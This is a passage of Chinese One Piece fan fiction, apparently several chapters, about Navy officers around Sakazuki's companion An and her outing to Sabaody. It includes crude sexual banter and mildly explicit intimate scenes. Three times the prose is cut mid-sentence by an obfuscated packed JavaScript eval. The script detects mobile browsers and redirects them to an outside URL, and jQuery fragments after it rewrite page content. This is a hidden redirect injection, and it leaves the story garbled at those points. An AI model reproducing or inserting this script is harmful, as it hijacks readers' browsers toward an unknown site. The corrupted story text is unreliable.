“你这不是废话吗?她是萨卡斯基中将的伴侣,两个人住在一起,忍得住就不是男人。” “他妈的,那种女人睡起来肯定带劲儿,别看她一副温温柔柔的样子,这种女人在床上才□□,水又多又会叫——” 史蒂夫话音未落,这个本不应该有第三个人的隐蔽角落响起不那么陌生的声音:“你们两个,休息完就回岗位。” 那头的草丛后坐起来一个高大的身影,那标志性的头巾和自然卷差点把两个海兵吓哭,他们连忙敬礼:“库,库库库赞中将!!” 库赞扭过头,向来无所谓的脸上带着愠怒:“下次再开这种黄腔,我不会听过就算,明白了吗?” “明明明白!!我们先回去工作了!!” 两人落荒而逃,库赞在原地坐着,半晌垮下肩膀深深叹一口气,颇为颓唐。他现在一想起安就为难又头痛,明明已经躲着不见面,库赞却有种安一人包围他全部的错觉,不仅去哪里都有人在讨论她,没有见面的时候他也无法把安驱逐出他的大脑,她仿佛有什么魔力,库赞总是会想起她。 想起萨卡斯基不在的日子,她频繁出入鹤中将的家,还打扮得那么漂亮!她难道不知道马林梵多98%都是男人吗?都已经有人闻着味来了!那个叫麦克的中将!库赞真是…根本没法放着不管。但他的见闻色只到鹤的家门口!绝对没有再往里延伸去探听一些不该听的东西。 有时候则是想起她在莱卡的家里为他倒茶的样子,还有提起海贼团时脆弱的样子、听他说岛屿见闻时双眼发亮的样子,想得最多的是他们在海上骑自行车,她坐在后座上挨着抱紧他的样子,她也会这样抱紧萨卡斯基吗? 打住!打住打住打住!察觉到思想要滑坡,库赞赶紧清空大脑,偏偏卡普还总对他说离谱话,撺掇他。 海军英雄说:“当初得知诺兰退休,让你顺道去看看就是抱着你们能看对眼,你把安带回马林梵多的想法,我实在不明白萨卡斯基怎么截胡的。萨卡斯基那小子不会是安的良人,你小子使点手段把安抢过来,这样这样再这样,那样那样再那样。” 库赞听完人都裂开了:开什么玩笑,他怎么可能撬萨卡斯基墙角,把安变成他的女人。而且他好烦,为什么要用那种“安本该是你老婆,都怪你办事不力才会变成这个样子”的语气和态度啊卡普先生!不是更加让他产生不切实际、不合人伦的想法吗! “干嘛?你小子不喜欢安吗?” “没有人会不喜欢她吧…可是她已经是萨卡斯基的军属,臣妾实在是做不到啊。” “诶——你这没出息的家伙!” 卡普的铁拳锤到他脑壳现在还疼着呢。而且他完全不理解卡普说的“萨卡斯基不是安的良人”这句话,他认为安挺适合萨卡斯基的,除了安,没女人受得萨卡斯基吧。 懒偷了,午觉也睡了,回办公室吧,战国先生生起气来挺吓人。结果回到办公室也在说安,波鲁萨利诺双脚一伸,转椅嘎啦嘎啦移到萨卡斯基的桌前:“萨卡斯基,安喜欢她的新发型吗?” 萨卡斯基“嗯”了声,做不会压到,抱着睡觉不会压到,吹几分钟就干,他两都喜欢。 “剪了个什么发型?” 萨卡斯基有点烦,他的女人剪什么发型关你什么事? 波鲁萨利诺问不出来也不太在意:“不说就不说,摆出那么可怕的脸干什么耶~反正总会看到,作为介绍沙龙的谢礼,让安给我做香蕉酥吧。” 萨卡斯基更烦了,不过安做什么都好吃,她还有很多以前没见过的创新菜单,怪不得波鲁萨利诺会馋。他不喜欢欠别人的人情,反正只是吃的,今晚回去跟安提一句就是。 工作到半下午,有海兵提着人头份的纸箱进来,里面是一种叫波罗的苹果,只有伟大航路的波罗岛屿能种植,非常好吃,是同事出差带回来的特产。 “真不错耶~玛丽酱你去切一点端过来吧。”波鲁萨利诺对手底下的副官说道,穿着制服一头短发看起来干脆利落的女性副官回答:“你是说让我把苹果塞进你的喉咙?” 波鲁萨利诺非常习惯玛丽的恶劣态度和毒舌,拖长了音调抱怨:“真过分呐~~~我是真的想吃耶~~~~” 玛丽上校毫不动摇:“你以前吃苹果从来不切,直接吃不就完了。我不是安夫人,只有安夫人才会那么耐心和无微不至,像照顾小孩子一样照顾你们这群大老爷们。” 是这个道理,波鲁萨利诺想,但他现在就是被惯坏了,就想吃切好的。于是他随手一指,吩咐刚刚送苹果的人给他切,那人只是个普通海兵可反抗不了中将,于是他拿出自己毕生的技术把苹果切成一块块端过来,仍然被抱怨怎么没削皮和去核。 现在就连那个海兵都觉得波鲁萨利诺屁事怎么那么多,闭嘴吃吧。 波鲁萨利诺看着切成一块块容易入口的苹果,想到了什么,他让海兵把水果刀给他:“萨卡斯基,你看。” 萨卡斯基不明所以,盯着波鲁萨利诺的动作,只见后者拿起一块苹果削掉核和后半部分的皮,再切出两个尖尖:“锵锵!兔子苹果~” 萨卡斯基眉头紧皱地抬眼看向波鲁萨利诺,一副“你解释不好就吃岩浆”的样子。波鲁萨利诺被他的不解风情震惊了,但是转念一想以他的性格考虑不到也正常:“学会了回家削给安吃呀。不会吧不会吧不会吧,你不会在一起那么久连个苹果也没给她削过吧?” “……” 萨卡斯基到家时安正在做蛋糕,他喜欢辣口的食物,不太吃甜品,所以安会做苦甜的巧克力或者抹茶,现在似乎正在进行调奶油的环节,看到他在这个点回家露出惊讶的表情:“今天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16301807|182784||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那么早,我在调千层蛋糕的奶油,你要尝尝吗?” 因为他实在不想再在办公室对着波鲁萨利诺…那家伙从以前就很懂怎么在他忍耐底线上蹦跶,同他计较显得太小肚鸡肠,不和他计较自己又很不爽,尤其安来了以后,波鲁越发能从中得到乐趣,萨卡斯基懒得理他那么多,干脆把工作打包回家。男人走到厨房低头看那色泽漂亮的抹茶奶油没有拒绝,于是安挖了一小勺,萨卡斯基放低脑袋准备去含,但安突然伸出舌头舔掉奶油,漂亮的双眸快速眨了两下。 领会到对方的小心思,年轻有为的中将大人撑着桌沿俯下身来将安嘴里的奶油和舌头卷到自己这边细细品味,奶油在两个人的唇齿间融化,最终混合着唾液被吞入腹中。 “还行,不甜。”萨卡斯基稍微松开咂咂嘴说道,安看着至近距离的萨卡斯基,脸颊通红地垂下眼,想要退出他的包围圈,“那我接着…” 很可惜,包围圈收网了,萨卡斯基把安抱起来走向房间:“晚点再弄。” 香蕉酥?再说吧。 结束已经是饭点,安还懒洋洋地躺着,根本不想爬起来,萨卡斯基套上裤子想了想:“我可以随便弄一下。” “你会做饭吗?”安想象萨卡斯基披上围裙的样子笑了,“我刚来你家的时候锅碗瓢盆很新,都没用过的样子。” “别太期待,只是把东西煮熟放点盐的程度,出任务就这么对付,有些时候太紧急,可以生吃的就生吃。” “我不要吃生的。”对安来说吃生食是绝对的大忌,她虽然不会被寄生虫侵害,但她的肠胃无法承受生的食物,可能会急性肠胃炎或者中毒。 “知道,就简单用冰箱的食材煮一点面条,还是说你想出去吃?” “不想起…” “知道了,那今天就将就吃我做的。”萨卡斯基起身往外走,走到门口他突然想起来那箱苹果:“你想吃苹果吗?” “苹果?是你拿回来那个箱子吗?那就切点一起吃吧。” 萨卡斯基做事很快,随便煮点东西也要不了多长时间,安在床上没躺多久就闻到食物的香气,男人过来叫她起床吃饭,穿围裙的样子和安想象中不一样,因为光着上身只套了一条裤子,他围裙也只围了一半,就算上半身有大片的落樱纹身也显得很有生活气息,安敢打赌没人看过他这个样子。 安裹着被子,只露出一双水汪汪的眼睛:“我想在床上吃。” 萨卡斯基沉默,他从来没有在床上吃过任何东西,上一个敢在他的床上吃东西的人被揍得现在在本部都躲着他走,但是沉默过后,他把两份面端进来,安捞过衣服套上,接过面一看,萨卡斯基诚不欺她,真的就是水煮加点盐,就算放了肉也看着清汤寡水,但是她刚刚消耗了大量体力,现在饿饿的,并不嫌弃。男人按照她平时吃饭的碗给她装的面,可能是太饿,她吃完面也没吃饱,所以再端上来的苹果派上用场,但安怎么也想不到为什么会削成兔子形状,和萨卡斯基的形象一点也不符合。 安眨眨眼又看看萨卡斯基,出于各种考虑没有开口询问,男人也没有解释,没什么好解释的,就算是波鲁萨利诺激他,最终决定要做出“不符合他性格”事情是他自己,是他自己愿意给安削兔子形状的苹果。 安没急着吃苹果,而是凑上去亲吻萨卡斯基的脸颊:“谢谢你,我很喜欢。” 现在萨卡斯基觉得什么都可以原谅。 13. 第十三章 安在马林梵多的生活彻底步上正轨。 她以美貌和萨卡斯基的伴侣闻名马林梵多、整个海军乃至海军学校,但实际上见过她的人很少,如果你在海军本部就职,位极高或者位极低就有可能在战国大将的楼层或者大门口站岗碰见她,除此之外,多数人只听说萨卡斯基有一个非常漂亮的伴侣,这是因为安的活动范围极窄,经波鲁萨利诺介绍可以电话虫订购所有食材物品后,她连集市都不太去,她和萨卡斯基居住的公寓楼在本部的脚下,出门往后拐个200米就到总部大门,即便住在同一栋也见不太到人,毕竟安离开家时将领们在上班,安回家时他们还没下班。 萨卡斯基的休假次数增加了,虽然不多又没什么规律,但他不再睁眼工作闭眼睡觉。当萨卡斯基休息,他会在家里陪着安浇浇花,聊聊天,大白天也做点大晚上才会做的事情,再在大晚上把大白天做的事重复一遍,和安待在一起大大缓和他因为工作和人际积攒的压力,他喜欢这样的日子。 所以安是不出门的,没有亲近的朋友,没有要去的地方。 当库赞意识到这个的时候,他刚从卡普那里得知一个爆炸性消息,海军英雄依旧不放弃撺掇他撬萨卡斯基墙角,两个人在酒馆越说越激动,卡普终究是在酒劲下说漏嘴:安是他从飞空海贼史基的船上救下来的,她值得更好。这时距离安来到马林梵多住已经超过一年,库赞的表情简直就像被人重拳出击,打得他脑袋嗡嗡直响。 为什么没有人在意?为什么没有人做出改变?因为他们是强大的海军,外出、航行、人际交往对他们来讲理所当然,因此他们想不到在世界上竟然还有人无法自行外出,他们觉得她有手有脚又没有被关起来,不出去只是她自己不想罢了。 安是不想吗?她不能。 她的美丽给她带来太多的麻烦和限制,莱卡以前是史基,萨卡斯基知道吗?在莱卡是约翰,即使现在成了中将的伴侣,仍有麦克那样的人渣躲在暗处虎视眈眈,对普通人来说偶然的意外和伤害对她来说几乎成必然,库赞怀疑她在人贩子眼里比女性人鱼都值钱,这导致她没办法独自享受原野的风,人文的繁,大海的阔,失去强者的带领,她只能蜷缩在角落以求可怕的命运不要降临到自己身上。 库赞想到他们当初聊起香波地群岛和海上列车时她露出的向往神色,萨卡斯基有没有试图带安出门,哪怕只是到隔壁的香波地群岛逛一圈? 没有,至少在库赞的见闻色中,他没有“见”过萨卡斯基带安出远门,他们去的最远的地方是位于马林梵多的高级餐厅,吃过饭就径直回家。 这实在是太可怕了,和软禁有什么区别??她表面看起来那么好,可她真的好吗? 怀抱着对安的担忧和强烈的怨怼,库赞回到家也无法入睡,他干脆去办公室等萨卡斯基。换作以前,凌晨三点都有概率在办公室看到人,如今萨卡斯基朝九晚五,工作做不完打包回家做,等待九点到来的库赞可谓度秒如年,期间他无数次在脑海里演练,对方不是说了就会听的性格,甚至因为他两关系不怎么样,好好说也未必会听,毕竟萨卡斯基才是安的伴侣,他一个适龄男人突然横插一脚让他多关心安带她出门,是男人都会不爽,库赞甚至开始疑惑,卡普说的是对的吗?萨卡斯基并非安的良人? “你今天好早。”波鲁萨利诺看着脸色很不对劲的后辈说道,他和库赞是迟到早退大户,两人都很讨厌坐办公室,基本不遵守上下班时间,这么一大早就见到人很稀罕,波鲁萨利诺也是昨天被战国骂找不到人今天才乖一点到岗的。 “嗯。”库赞情绪很低落,波鲁萨利诺还想说什么,正巧萨卡斯基进来,波鲁萨利诺一下就观察到库赞对萨卡斯基的负面情绪,而且他猜到一定是因为安。 看到萨卡斯基,库赞光是要抑制住怒火就竭尽全力,最终只能硬邦邦地憋出一句:“香波地群岛的游乐园正在举办活动。” 库赞的话题突兀又不符合他的个性,大家都没有搭腔,除了波鲁萨利诺,他问:“是吗,都有什么有趣的?” “气球、造型独特的冰激凌、烟花什么的…女孩子都会喜欢的东西,安也是女孩。” 波鲁萨利诺明白了库赞的用意,于是他换了副面孔笑着继续搭腔:“香波地群岛还有很多很好吃的高级餐厅、名牌服装店,奢侈品店,首饰店,能去逛逛买点东西也很有趣。” “对,远一点的岛屿还有专门开发的度假区、温泉岛,很多好玩的。” 两人一唱一和,说到这份上萨卡斯基还不懂他们两在表达什么他就是傻子,不过当下他没说什么,就算要带安外出也是他和安的事,和外人无关。 库赞不满萨卡斯基的反应,他急切又焦躁地想要确保安的身心健康,可他的立场不能越界,如同困兽一样在办公室转了两圈,安曾被史基捕获的事在他脑海里反复出现,最终他无法忍受地带着那些五彩缤纷的传单来到安的面前。安拿着传单,不着痕迹地观察库赞的神情,推测他“坏掉”的指数,斟酌语句为萨卡斯基解释,她最怕就是这样,正常的人一次次在“她真的好吗?”/“他真的有对她好吗?”/“他这样对她是不对的”/“我可以做得更好”里疯魔。 这事确实是库赞误会萨卡斯基了,萨卡斯基有想过带她出门,他没有长假去不了远的地方,好在隔壁的香波地群岛作为世界的中心,在天龙人的统治下有足够多的娱乐资源,加上大航海时代,想要去往伟大航路的人都往这里聚集,滋生不少黑暗的同时也带来所有海域的新鲜事物。 萨卡斯基说他们可以住一晚,安想去哪里玩都可以,如果累了也可以提前回来,都看她。 安从露台远远眺望那座缤纷璀璨的岛,最后摇了摇头。她无法和萨卡斯基解释,那是她去过很多世界,包括在这个世界总结出来的经验:外出意味着离别,相遇意味着掠夺,反抗意味着死亡。她的美是一种诅咒,一定会引来觊觎进而演变成灾难,或是对她,或是对她的庇护者,即使她的庇护者很强,总会有更强的人,还可能被蝼蚁群起而攻之,更有甚者会为了自身利益放弃她,因此她很珍惜安定的时光,她早已习惯孤独。 萨卡斯基尊重她的选择,而库赞显然有别的想法。 “你一直这样闷在家里闷在马林梵多,怎么会快乐?” 是啊,怎么会快乐,但是至少安稳,左右她都不可能像他们一样肆意在外行走,轻松与人交往,从容对抗危险,两方地狱她选择比较舒适的那个。安本想出言安抚,还没来得及开口,她的视线穿过库赞看向他的身后,那里站着本该在本部工作的萨卡斯基,他表情不悦但算不上特别糟糕:“不牢你费心。” 送走“客人”后,安把萨卡斯基迎进门,她看他带着公文包便猜他不再回办公室,帮他把包拿进书房,出来他还站在原地看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16301808|182784||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着她,半晌男人轻声问:“你想去吗?香波地群岛,或者再远一点的岛屿也可以。” 他们很担心她的精神状况,安心想,其实他们的担心是无谓的。经历那么多后安的精神状况无坚不摧,她曾于其他世界被关在暗无天日的水牢里感受自己逐渐腐烂直到死去,只是呆在较小的活动范围一年远达不到让她崩溃的程度,还能和人社交,她好着呢。但是感觉继续下去库赞可能会应激,引发连锁反应,所以安决定顺着他们的意思走:“你会和我一起吗?” 萨卡斯基的表情变得不忍,他和安日夜相处,远比外人清楚安何等脆弱,激动时不小心用一点点力气捏出来的印子都得两三周才能消掉,所以他允许她胆怯允许她躲藏允许她缩在他的羽翼之下,如果她愿意往外走,他会陪她。 既然决定要外出游玩,安便采购了一些新的装备,主要是能够遮盖面容的帽子和适合走路的鞋,萨卡斯基知道她买新鞋和帽子又给了她很多钱,安就干脆把包包配饰也安排上,还有几条看着很有度假氛围的新衣裙,出发前一天她在家里搭配,不时问问一旁萨卡斯基的意见,把“放监”的快乐人设拉满,萨卡斯基对搭配不在行,在他眼里安穿什么都一样漂亮,但他非常耐心地陪着安,看着她一条一条穿上,再替她一条一条脱下。 出行当天两人起了个大早,虽然香波地群岛就在隔壁,过个桥能到,但岛屿很大,娱乐设施多,他们没打算在岛上住,安又熬不了夜,所以两人计划吃过晚饭散一下步就回来,想多看看岛屿是得早起。 萨卡斯基一如既往去饭堂打包早餐,他到现在也搞不懂安爱吃什么,她好像不太挑食,什么都吃一点,但是什么都只吃一点,一日三餐吃一年多他都没看出来她偏好什么食物,还是说饭堂没有她喜欢的?这次出游波鲁萨利诺给他推荐好几家特色餐厅,萨卡斯基预约了其中两家作为中饭和晚饭,希望有安喜欢的。 吃过早饭后,安穿戴整齐,确认网纱礼帽好好地遮盖上半张脸一切便准备就绪,穿上鞋就好了:“我们要去坐船吗?” “不,马林梵多西侧有桥,过桥是香波地群岛海军驻地,通关出去就到香波地,到时候再租泡泡车,不然得走很长一段路。” “泡泡车是什么?” “香波地特有的代步工具,利用了岛上的泡泡,一会你就能坐到。” 安点点头:“我还听说有海上列车,萨卡斯基你坐过吗?” “那个还没研发好,听说要10年,现在也就过去4年左右。” “这样啊,真想坐坐看,有这样的列车不懂航海术也可以往来岛屿之间。” “是。等列车运行我再带你去坐,鞋子穿好了吗?” “好了。” 安直起腰,牵住萨卡斯基的手,她感觉到萨卡斯基有一瞬间的凝滞,因为他们做尽一切亲密的事却从未牵手。在此之前没有必要,他们只在马林梵多固定的路线行走,短途且安全,安也不确定萨卡斯基是否愿意在到处都会碰到上司同事下属的地方和女人牵手,但现在是个很好的试探时机,安想要萨卡斯基更加怜爱她,这些爱意在日后遭遇危险时全都会变成安的筹码,保她平安顺遂。 她用怯生生的眼神去看萨卡斯基,握着他手的力度小小轻轻的,如果他不想动一动就可以挣脱,男人没有让她等太久,温热宽厚的手掌用适中的力度反握回去,带领她向外探索。 14. 第十四章 巴布鲁口岸位于香波地群岛69号海军驻地。60~68号驻地主要职能为外勤和抓捕,69号驻地则是较为纯粹的内勤部门,当然了,遇到紧急情况还是得抽人去外勤(比如有人揍了天龙人一拳,怎么可能有人揍天龙人呢括弧笑括弧),正常情况下他们准时上班准时下班,只有连接马林梵多和香波地的巴布鲁口岸需要24小时执勤,他们部门人多,一个月也轮不到一次,所以真是非常轻松的部门。 今天的执勤人员是马克和他的同事,关口一般只在黎明前特别忙,要给从香波地过来的摊主们验明身份、采样货物、安检等,过了那个时间段便只需要给进出的内部人员登记,手续简便,操作起来特别快,马克刚确认完前一位的文书,下一对来人让他愣住,随后他赶紧起身敬礼:“萨,萨卡斯基中将!” 马克控制不住自己将视线投向两人交握的手,这是萨卡斯基中将,那他旁边的应该就是传说中的安夫人吧,可恶,戴着网纱帽根本看不清长什么样……是不是真的如同传闻里那么漂亮啊? 萨卡斯基和安都当做没注意到他的视线,走过来一路已经被看得够多,不差他一个,萨卡斯基把外出的文件给到,马克登记盖章就可以走了,安还觉得有点好笑:“他看起来很怕你。” “我是他们的分管领导,那小子没见过,估计很少来批文件,突然面对面紧张吧。” 这事安倒是第一次听说:“你还分管香波地群岛的海军驻地?” “本来是波鲁萨利诺分管,他不愿意,觉得事多,忙,战国大将就让他去管科学部队了,香波地难管,不能随便指派,最后还是落到我头上。” 科学部队?贝加庞克博士那里吧。触发关键字,安的记忆宫殿打开,波鲁萨利诺是接任被凯多杀死的负责人吗?那个中将特别喜欢折磨凯多,凯多逃离实验基地前特地找到他,把他脑袋敲得稀巴烂,血和脑浆溅了一地。 回忆完前任,安还不忘夸夸现任:“真了不起哦,萨卡斯基。” “……别把我当小孩子哄。” 从办手续的窗口出来便是香波地群岛,驻地门口就有泡泡车租,萨卡斯基带着安走到最近的一家挑选车型,安则是被地上冒出的泡泡吸引,草地踩上去脚感也很奇妙,软中带硬,有点潮湿有点粘,轻微的陷入感,像是踩进还没有完全干透的泥地,泡泡从地底升起,安伸手去戳,泡泡的质地很柔韧,即使用力戳也只是凹陷不会破碎,那些泡泡就这样缓慢地从草地里冒出来,再缓慢地升空,最后“啪”地破掉,莫名吸引了安所有的注意力。 租车店的老板很有眼色且很会做生意,他看出来安是第一次来香波地,身上的衣服配饰都不便宜,从69号驻地出来一直由这位气质不凡的海军牵着,想必倍受宠爱,他便给萨卡斯基推荐兼顾舒适度和实用性的两人座车架,非人力而是靠燃料推动,操作简单,他还可以给升级泡泡,增加涂层做成从外往里看不见的,价格不便宜,但开出去拉风又有面子,安抽空看了一眼,很像她在其他世界坐过的顶级跑车。 萨卡斯基无所谓钱,这个看着挺好的,还能隔绝别人的视线,安可以在车里摘下帽子透透气:“那就这个。” 老板还给了一条末端绑着小木条的绳子,给两人演示如何固定在泡泡上,其实没有什么技术含量,就把木条塞进泡泡里,木条自然就会卡住泡泡不往上飘,变成一个气球,这样等他们买了东西就可以把东西放在泡泡里牵着走,省心省力。 安忍不住感叹:“真方便,要是能在马林梵多用就好了。” “很遗憾,夫人,这个泡泡离开香波地群岛就会破裂,没办法在其他地方用。” 老板动作很快,安和萨卡斯基看着他大刀阔斧把一米直径大小的五六个泡泡合到一起变成更大的泡泡,然后拉长分别固定在车架上,涂上液体涂层,晾干就好了,没耽误多少时间。 萨卡斯基没有开很快,他发现安对香波很着迷,她总是被晃悠晃悠的泡泡吸引,一看就跟入了定一样,萨卡斯基想到店主说过的话,但这只是世俗认定,香波地的泡泡其实可以通过特殊方式保存,否则红港的泡泡电梯到不了5000米的玛丽乔亚,只是这个办法需要贝加庞克博士的科技,所以没普及开,没关系,他有人(bo)脉(lu)。 69号从旅馆的方向绕去观光地的40~49号会经过治安相对没那么好的1~29号,而且兜远路,还不如从造船区那边过去:“30-39号是个游乐场,有很多娱乐设施,你想去吗?” 安拒绝了。在这个超高武的世界,只有她一个人“坚守”世界之外的物理学,这是她的“出厂配置”之一,没有办法被改变,她在其他高武世界多次因此死亡,保护她的钢铁手臂总是一个不小心成为她的死因。 这里的人随便从五米高的地方跳下来毫发无伤,她轻则骨折重则死亡,取决于她用什么姿势撞击地面,想也知道这个世界的娱乐设施不可能以她的身体素质来设计,指不定超高速过山车毫无安全措施,只能靠自己稳住,摩天轮可能好一点,但她即不喜欢高处亦对摩天轮没有情结,还不如造船区有意思,因为那边这两年新兴盛了一个有趣的东西——镀膜,这是香波地群岛才有的特殊技术,安简单了解了一下,大致就是用泡泡把船包起来,让船能够深潜到海底一万米穿过红土大陆的缺口进入伟大航路后半段。 技术一直都有,但是在罗杰死前,没有那么多海贼,也没有那么多能到达伟大航路的海贼,更没有那么多到达香波地群岛并打算向后半程出发的海贼,大海贼时代让无数原本干其他谋生的能人异士变成海贼,他们或是真的有实力或是运气够好,总而言之镀膜的需求这两年暴涨,连带修造船需求也是,毕竟到达这里的海贼船镀膜前必须检查修理或者直接更换。 “我听说最好的造船厂在七水之都,就是研发海上列车的岛屿,是真的吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16301809|182784||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “要这么说也可以,七水之都比较特殊,每年会被名为‘亚夸·拉格娜’的巨大海啸袭击,比任何地方都更需要好的船只,因此从很久以前造船业就非常发达。” “原来是这样。可是它在东海吧,那其他海域的人如果想找他们订船要怎么做?” 萨卡斯基组织了一下语言:“还记得挂在我书房的世界地图吗?伟大航路和红土大陆交叉围绕世界一圈,缺口要么在高空要么在海底,这样的前提条件下,若有人想从伟大航路前半段去东海,中间隔着一个无风带,无风带是巨型海王类的巢穴,而且没有风,帆不起作用,没有其他前进动力船永远不会动,除了要让船前进,还得使用有效手段抗击巨型海王类,否则只会船毁人亡。南海的人至少得跨越一次两个无风带和伟大航路前段,伟大航路前半段被称为乐园,也被称为死亡海域;北海和西海更困难,都必须先进入伟大航路后段,走官方通道或者鱼人岛到东海或者伟大航路前半段,做好船再从鱼人岛上升到伟大航路后半段再回自己的海域。不是说不行,只是难度太大,正常人都不会这么选,事实证明其他海域做出来的船一样可以到达香波地,香波地做出来的船一样可以去往伟大航路后半段。” 安点点头,以前跟着强者这去那去没有什么实感,看来对普通人以及没那么强的人来说,海洋多陆地少的海陆分布严重阻碍了人们的交流,伟大航路和红土大陆更是让航海变得难于登天……去空岛说不定更简单。 “这样看来,如果海上列车能做出来确实解决很多问题呢。” 萨卡斯基瞥了眼安,这是她今天第二次提到海上列车,“等研发成功投入运行,我一定带你去坐。” 安因他的话露出小小的微笑。 41~49号区域和安想象得差不多,既有高级的商场也有摊贩,的确有很多没有见过的新奇玩意,男人大概认为她会因此很兴奋,但安内心毫无波动,她早就过了用物质填补内心的时期,那些东西生不带来死不带去,在这个世界再怎么喜欢,一旦死亡连衣服都带不走。 但安会装,装作对某些看着还可以的东西感兴趣,萨卡斯基就会付钱给她买下来放进泡泡,他们走走看看,中午到萨卡斯基挑的餐厅吃饭,定的包间,服务员是一个很可爱的女孩子,看到安脸涨得通红。 值得一提的是,从餐厅的落地玻璃能看到隔壁游乐场的摩天轮和过山车,好家伙,还真没有安全措施,纯靠手抓。 吃过饭还能继续逛,整整10个区大着呢,但他们刚走出餐厅门口,街道尽头的一些骚动引起萨卡斯基的注意,他顿时变得警惕,像一头野兽绷直颈背一瞬不瞬地注视着那个方向,神情非常严肃,没一会儿他揽住安的肩膀,安从他手指的力度感受到引起骚动的大概是“天敌”:“我们要回去了。” “好。” 安没有问为什么,她只是把自己交给对方,顺从地被带离,就像以往的每一次。 15. 第十五章 这次出行半天就匆匆结束,萨卡斯基没有跟她解释原因,安不是特别在意,她回到家还美美睡了个午觉,男人可能误认为她不高兴,晚饭是带她出去吃的,遇到挎着女伴的波鲁萨利诺,于是安和萨卡斯基看着波鲁萨利诺巧舌如簧地把女伴哄走,理所当然地加入他们的饭局。 “今天去香波地好玩吗?”波鲁萨利诺兴致勃勃地问道,安想了想:“泡泡很有趣。” 波鲁萨利诺默了下,隐晦地用谴责的目光看向萨卡斯基:你没带她好好玩吗?怎么刚回来脑子里只有泡泡?新奇归新奇,泡泡是香波地群岛最不值钱的东西。 萨卡斯基有什么办法,他也很无奈,根本都没逛完:“天龙人来了。” 天龙人?那没办法,怪不了萨卡斯基带着她离开,波鲁萨利诺会做同样的判断,如果被天龙人看到她后果不堪设想,明明不是任何人的错,情况也确实特殊,而且更不关波鲁萨利诺的事,他却产生了强烈的补偿心理,自知原因动机没有那么单纯,不过老早之前他就决定将所有的情绪归咎为对朋友的关心。 朋友就挺好。 “安对演唱会有兴趣吗?我刚刚的女伴是个有点名气的歌唱家,如果你感兴趣我让她拿两张票过来,场地就在香波地群岛74号。” 有点名气?是炙手可热吧,那女孩最近频繁出现在报纸上,因为歌喉,因为和海军中将的绯闻,安记得上个月和波鲁萨利诺上新闻的不是这个歌唱家,是另一个模特。安的态度模棱两可,而且也不知道萨卡斯基当天有没有空,正巧服务员来上菜,这件事就被搁置在一边,萨卡斯基没有忘记为安要一个在香波地群岛外也可以使用的泡泡:“算我欠你一个人情。” “不是说在香波地以外会破掉?” 说到泡泡安总算有点反应,波鲁萨利诺内心五味杂陈,不过是一个廉价的泡泡…明明听到天龙人的名号她完全无动于衷:“小事,我回头让贝加庞克博士做就是,一个够吗?” 泡泡的制作时间比波鲁萨利诺想象得要久,竟然一个多星期才弄好,他还要了演唱会票,一起打包光速送到安的手上,真·光速。波鲁萨利诺总算理解库赞的焦虑,自他上次吃饭提到去演唱会,一直到泡泡做好,他和萨卡斯基天天在办公室见面,萨卡斯基硬是没再提过演唱会的事,后来波鲁想了想,这大概跟养宠一样,库赞和波鲁都会观察以在对方开口要求之前满足她们的需求,萨卡斯基更像是放养,安如果想去她自己会说,如果她不说,她就是不想,至少是没那么想。 波鲁萨利诺不愿意放弃,多尝试新东西说不定就找到感兴趣的,库赞说得对,总是闷在家里怎么行。安在门口便新奇地摸起改造过的泡泡,和香波地柔韧的手感不同,这个泡泡是硬的,甚至还会自动开门,安找半天都没找到哪里供能。 “嗯~太科学的东西我也不懂,你喜欢就好。演唱会票放里面了哦,定的包间,去的话告诉我一声,我来安排车。” 波鲁萨利诺还应邀到家里喝了杯花茶,好喝。 人都把门票送到家里了,再拒绝显得不识好歹,反正萨卡斯基有空,去就去吧——本该如此,人都到展会门口了,强纳森等在那里,悬赏金1亿9000万的“鹰眼”乔拉可尔·米霍克在香波地群岛18号树附近闹出大动静,出动少将也难以镇压,更别提抓住人,层层上报的结果就是为了不让事态进一步扩大,萨卡斯基作为香波地的分管领导得亲自去解决。 啊这。 “那演唱会还开吗?”安问。出事的地点也是香波地群岛,如果演唱会不开,那就不用纠结,直接各回各家得了。 “不会取消,今晚的演唱会有很多贵族到场,不然也不会那么着急派萨卡斯基过去。”听了波鲁萨利诺的话,安抬眼看向萨卡斯基,明白他会选择去工作,他是这种性格,萨卡斯基不在安也不想呆,正当她准备引导萨卡斯基叫强纳森送她回家,他却先她一步开口:“波鲁萨利诺单独带你看行吗?如果结束得早我就来接你。” 这倒是有点出乎波鲁萨利诺的意料,如果他是萨卡斯基,他大概率不会让安跟着其他男人单独外出,即使是多年相处的同僚。原因有很多,都可以归结为男人的私欲,库赞对萨卡斯基的不满波鲁萨利诺可以理解,但是其实换作任何一个男人未必做得比萨卡斯基好。 